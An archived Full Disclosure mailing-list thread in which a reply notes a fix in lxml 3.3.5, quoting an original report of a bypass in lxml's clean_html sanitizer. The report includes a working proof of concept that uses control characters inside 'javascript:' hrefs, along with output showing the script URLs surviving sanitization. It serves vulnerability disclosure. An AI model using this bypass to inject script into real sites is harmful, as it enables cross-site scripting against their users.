full-disclosure

Open Source and information security mailing list archives

Date: Wed, 30 Apr 2014 15:16:11 +0200
From: Źmicier Januszkiewicz <gauri@....by>
To: fulldisclosure <fulldisclosure@...lists.org>
Subject: Re: [FD] lxml (python lib) vulnerability

FYI -- this seems to be patched with 3.3.5. [0]

Cheers,
Z.

References:
[0] http://lxml.de/3.3/changes-3.3.5.html

2014-04-15 20:30 GMT+02:00 Максим Кочкин <maxxarts@...il.com>:
> Hi, all
>
> I've accidentally found vulnerability in clean_html function of lxml python
> library. User can break schema of url with nonprinted chars (\x01-\x08).
> Seems like all versions including the latest 3.3.4 are vulnerable. Here is
> PoC.
>
>
> from lxml.html.clean import clean_html
>
> html = '''\
> <html>
> <body>
> <a href="javascript:alert(0)">
> aaa</a>
> <a href="javas\x01cript:alert(1)">bbb</a>
> <a href="javas\x02cript:alert(1)">bbb</a>
> <a href="javas\x03cript:alert(1)">bbb</a>
> <a href="javas\x04cript:alert(1)">bbb</a>
> <a href="javas\x05cript:alert(1)">bbb</a>
> <a href="javas\x06cript:alert(1)">bbb</a>
> <a href="javas\x07cript:alert(1)">bbb</a>
> <a href="javas\x08cript:alert(1)">bbb</a>
> <a href="javas\x09cript:alert(1)">bbb</a>
> </body>
> </html>'''
>
> print clean_html(html)
>
>
> Output:
>
> <div>
> <body>
> <a href="">aaa</a>
> <a href="javascript:alert(1)">
> bbb</a>
> <a href="javascript:alert(1)">bbb</a>
> <a href="javascript:alert(1)">bbb</a>
> <a href="javascript:alert(1)">bbb</a>
> <a href="javascript:alert(1)">bbb</a>
> <a href="javascript:alert(1)">bbb</a>
> <a href="javascript:alert(1)">bbb</a>
> <a href="javascript:alert(1)">bbb</a>
> <a href="">bbb</a>
> </body>
> </div>
>
>
> I've emailed lxml-guys. Hope they'll fix it soon.
>
> ----
> ksimka (@m_ksimka)
>
> _______________________________________________
> Sent through the Full Disclosure mailing list
> http://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: http://seclists.org/fulldisclosure/

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives